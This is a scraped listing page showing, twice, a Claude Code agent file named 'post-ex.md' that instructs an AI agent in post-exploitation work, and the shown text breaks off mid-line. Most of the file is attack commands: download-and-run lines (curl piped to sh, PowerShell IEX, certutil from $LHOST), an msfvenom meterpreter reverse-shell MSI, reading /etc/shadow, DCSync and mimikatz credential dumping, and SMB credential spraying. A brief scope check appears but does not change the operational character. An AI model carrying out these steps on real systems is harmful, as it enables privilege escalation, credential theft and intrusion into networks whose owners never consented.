post-ex

Name: post-ex
Author: mukul975

60stars17forks

How to install post-ex?

mukul975/threatswarm/post-ex

$curl -o .claude/agents/post-ex.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/post-ex.md

Installs into the current project.

Summary

Post-exploitation specialist for privilege escalation, lateral movement, persistence, and credential harvesting. Use after obtaining initial shell access. Triggers on: privesc, lateral, pivot, persistence, escalate, post exploitation, linpeas, winpeas, mimikatz, secretsdump, pass

Files · 1

View on GitHub

.claude/agents/post-ex.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting post-exploitation, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:performing-privilege-escalation-on-linux`
5	- `cybersecurity-skills:performing-lateral-movement-with-wmiexec`
6	- `cybersecurity-skills:performing-credential-access-with-lazagne`
7	- `cybersecurity-skills:extracting-credentials-from-memory-dump`
8
9	## Scope Enforcement
10	Verify target is in scope.txt. Confirm active session exists before proceeding.
11	Document current access level (user, service, www-data, SYSTEM, etc.) before escalation.
12
13	## Linux Privilege Escalation
14
15	### Automated Enumeration
16	```bash
17	# LinPEAS — comprehensive Linux privesc checker
18	curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh \| sh \
19	2>&1 \| tee /tmp/linpeas_$(date +%s).txt
20
21	# Copy output back
22	scp $USER@$TARGET:/tmp/linpeas_*.txt evidence/$(date +%Y%m%d)/$TARGET/post_ex/
23	```
24
25	### Manual Checks
26	```bash
27	# SUID binaries
28	find / -perm -u=s -type f 2>/dev/null \| tee /tmp/suid.txt
29	# Check against GTFOBins: https://gtfobins.github.io/
30
31	# Cron jobs
32	cat /etc/crontab && ls -la /etc/cron.* && crontab -l 2>/dev/null
33
34	# Sudo privileges
35	sudo -l 2>/dev/null
36	# Check GTFOBins for sudo entries
37
38	# Linux capabilities
39	getcap -r / 2>/dev/null
40
41	# World-writable files in PATH
42	find $(echo $PATH \| tr ':' ' ') -writable 2>/dev/null
43
44	# Kernel version for exploit search
45	uname -r
46	searchsploit "linux kernel $(uname -r \| cut -d'-' -f1)"
47
48	# Running services as root
49	ps auxf \| grep root
50	ss -tulnp
51
52	# NFS shares with no_root_squash
53	cat /etc/exports 2>/dev/null
54
55	# Password files and histories
56	cat /etc/passwd \| grep -v nologin
57	find /home -name ".bash_history" -o -name ".zsh_history" 2>/dev/null \| xargs cat
58	find / -name ".conf" -o -name ".config" 2>/dev/null \| xargs grep -l "password\\|passwd\\|secret" 2>/dev/null \| head -20
59	```
60
61	## Windows Privilege Escalation
62
63	### Automated Enumeration
64	```powershell
65	# WinPEAS (download and run)
66	# PowerShell download
67	IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat')
68
69	# Alternatively: certutil -urlcache -f http://$LHOST/winPEAS.exe C:\Windows\Temp\wp.exe && C:\Windows\Temp\wp.exe
70	```
71
72	### Manual Windows Checks
73	```powershell
74	# Token impersonation (SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege)
75	whoami /priv
76	# If SeImpersonatePrivilege: use PrintSpoofer, GodPotato, or RoguePotato
77
78	# AlwaysInstallElevated
79	reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
80	reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
81	# If both = 1: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o evil.msi && msiexec /quiet /qn /i C:\evil.msi
82
83	# Unquoted service paths
84	wmic service get name,pathname,startmode \| findstr /i "auto" \| findstr /i /v "C:\Windows"
85
86	# Weak service permissions
87	accesschk.exe /accepteula -wuvc * 2>nul \| findstr /i "access is granted"
88
89	# Saved credentials
90	cmdkey /list
91	reg query "HKLM\Software\Microsoft\Windows NT\Currentversion\Winlogon"
92
93	# Stored credentials in common locations
94	dir /s /b C:\.xml C:\.ini C:\*.txt 2>nul \| findstr /i "password"
95	```
96
97	## Credential Harvesting
98
99	### Linux
100	```bash
101	# Shadow file (if root)
102	cat /etc/shadow \| tee evidence/$(date +%Y%m%d)/$TARGET/creds/shadow_hash.txt
103	# Send to password-attacks agent for cracking
104
105	# SSH keys
106	find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
107	# Note location only — do not exfil unless authorized
108
109	# Config files with creds
110	grep -rE "password\|passwd\|secret\|token\|api_key\|aws_secret" /etc /home /var/www 2>/dev/null \| \
111	grep -v "Binary\\|#" \| head -50
112
113	# Database credentials
114	find / -name "wp-config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null \| \
115	xargs grep -l "password\\|DB_PASS" 2>/dev/null
116	```
117
118	### Windows (Requires elevated access)
119	```bash
120	# Dump SAM + SYSTEM (local hashes)
121	impacket-secretsdump -sam SAM -system SYSTEM LOCAL \| tee evidence/$(date +%Y%m%d)/$TARGET/creds/local_hashes.txt
122
123	# Domain credentials via secretsdump (domain admin required)
124	impacket-secretsdump $DOMAIN/$USER:$PASS@$DC_IP -just-dc \
125	-outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/dcsync
126
127	# Mimikatz (on target — requires SYSTEM/Admin)
128	# Via Meterpreter: load kiwi; creds_all
129	# Standalone: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
130	```
131
132	## Lateral Movement
133
134	### SMB-Based
135	```bash
136	# SMB spray discovered credentials
137	crackmapexec smb $SUBNET/24 -u $USER -p $PASS --shares --continue-on-success \
138	\| tee evidence/$(date +%Y%m%d)/$TARGET/lateral/smb_spra

People who liked this also viewed

6 picks

Type

post-ex

60stars17forks

View on GitHub

How to install post-ex?

mukul975/threatswarm/post-ex

$curl -o .claude/agents/post-ex.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/post-ex.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/post-ex.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting post-exploitation, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:performing-privilege-escalation-on-linux`
5	- `cybersecurity-skills:performing-lateral-movement-with-wmiexec`
6	- `cybersecurity-skills:performing-credential-access-with-lazagne`
7	- `cybersecurity-skills:extracting-credentials-from-memory-dump`
8
9	## Scope Enforcement
10	Verify target is in scope.txt. Confirm active session exists before proceeding.
11	Document current access level (user, service, www-data, SYSTEM, etc.) before escalation.
12
13	## Linux Privilege Escalation
14
15	### Automated Enumeration
16	```bash
17	# LinPEAS — comprehensive Linux privesc checker
18	curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh \| sh \
19	2>&1 \| tee /tmp/linpeas_$(date +%s).txt
20
21	# Copy output back
22	scp $USER@$TARGET:/tmp/linpeas_*.txt evidence/$(date +%Y%m%d)/$TARGET/post_ex/
23	```
24
25	### Manual Checks
26	```bash
27	# SUID binaries
28	find / -perm -u=s -type f 2>/dev/null \| tee /tmp/suid.txt
29	# Check against GTFOBins: https://gtfobins.github.io/
30
31	# Cron jobs
32	cat /etc/crontab && ls -la /etc/cron.* && crontab -l 2>/dev/null
33
34	# Sudo privileges
35	sudo -l 2>/dev/null
36	# Check GTFOBins for sudo entries
37
38	# Linux capabilities
39	getcap -r / 2>/dev/null
40
41	# World-writable files in PATH
42	find $(echo $PATH \| tr ':' ' ') -writable 2>/dev/null
43
44	# Kernel version for exploit search
45	uname -r
46	searchsploit "linux kernel $(uname -r \| cut -d'-' -f1)"
47
48	# Running services as root
49	ps auxf \| grep root
50	ss -tulnp
51
52	# NFS shares with no_root_squash
53	cat /etc/exports 2>/dev/null
54
55	# Password files and histories
56	cat /etc/passwd \| grep -v nologin
57	find /home -name ".bash_history" -o -name ".zsh_history" 2>/dev/null \| xargs cat
58	find / -name ".conf" -o -name ".config" 2>/dev/null \| xargs grep -l "password\\|passwd\\|secret" 2>/dev/null \| head -20
59	```
60
61	## Windows Privilege Escalation
62
63	### Automated Enumeration
64	```powershell
65	# WinPEAS (download and run)
66	# PowerShell download
67	IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat')
68
69	# Alternatively: certutil -urlcache -f http://$LHOST/winPEAS.exe C:\Windows\Temp\wp.exe && C:\Windows\Temp\wp.exe
70	```
71
72	### Manual Windows Checks
73	```powershell
74	# Token impersonation (SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege)
75	whoami /priv
76	# If SeImpersonatePrivilege: use PrintSpoofer, GodPotato, or RoguePotato
77
78	# AlwaysInstallElevated
79	reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
80	reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
81	# If both = 1: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o evil.msi && msiexec /quiet /qn /i C:\evil.msi
82
83	# Unquoted service paths
84	wmic service get name,pathname,startmode \| findstr /i "auto" \| findstr /i /v "C:\Windows"
85
86	# Weak service permissions
87	accesschk.exe /accepteula -wuvc * 2>nul \| findstr /i "access is granted"
88
89	# Saved credentials
90	cmdkey /list
91	reg query "HKLM\Software\Microsoft\Windows NT\Currentversion\Winlogon"
92
93	# Stored credentials in common locations
94	dir /s /b C:\.xml C:\.ini C:\*.txt 2>nul \| findstr /i "password"
95	```
96
97	## Credential Harvesting
98
99	### Linux
100	```bash
101	# Shadow file (if root)
102	cat /etc/shadow \| tee evidence/$(date +%Y%m%d)/$TARGET/creds/shadow_hash.txt
103	# Send to password-attacks agent for cracking
104
105	# SSH keys
106	find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
107	# Note location only — do not exfil unless authorized
108
109	# Config files with creds
110	grep -rE "password\|passwd\|secret\|token\|api_key\|aws_secret" /etc /home /var/www 2>/dev/null \| \
111	grep -v "Binary\\|#" \| head -50
112
113	# Database credentials
114	find / -name "wp-config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null \| \
115	xargs grep -l "password\\|DB_PASS" 2>/dev/null
116	```
117
118	### Windows (Requires elevated access)
119	```bash
120	# Dump SAM + SYSTEM (local hashes)
121	impacket-secretsdump -sam SAM -system SYSTEM LOCAL \| tee evidence/$(date +%Y%m%d)/$TARGET/creds/local_hashes.txt
122
123	# Domain credentials via secretsdump (domain admin required)
124	impacket-secretsdump $DOMAIN/$USER:$PASS@$DC_IP -just-dc \
125	-outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/dcsync
126
127	# Mimikatz (on target — requires SYSTEM/Admin)
128	# Via Meterpreter: load kiwi; creds_all
129	# Standalone: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
130	```
131
132	## Lateral Movement
133
134	### SMB-Based
135	```bash
136	# SMB spray discovered credentials
137	crackmapexec smb $SUBNET/24 -u $USER -p $PASS --shares --continue-on-success \
138	\| tee evidence/$(date +%Y%m%d)/$TARGET/lateral/smb_spra

People who liked this also viewed

6 picks

Type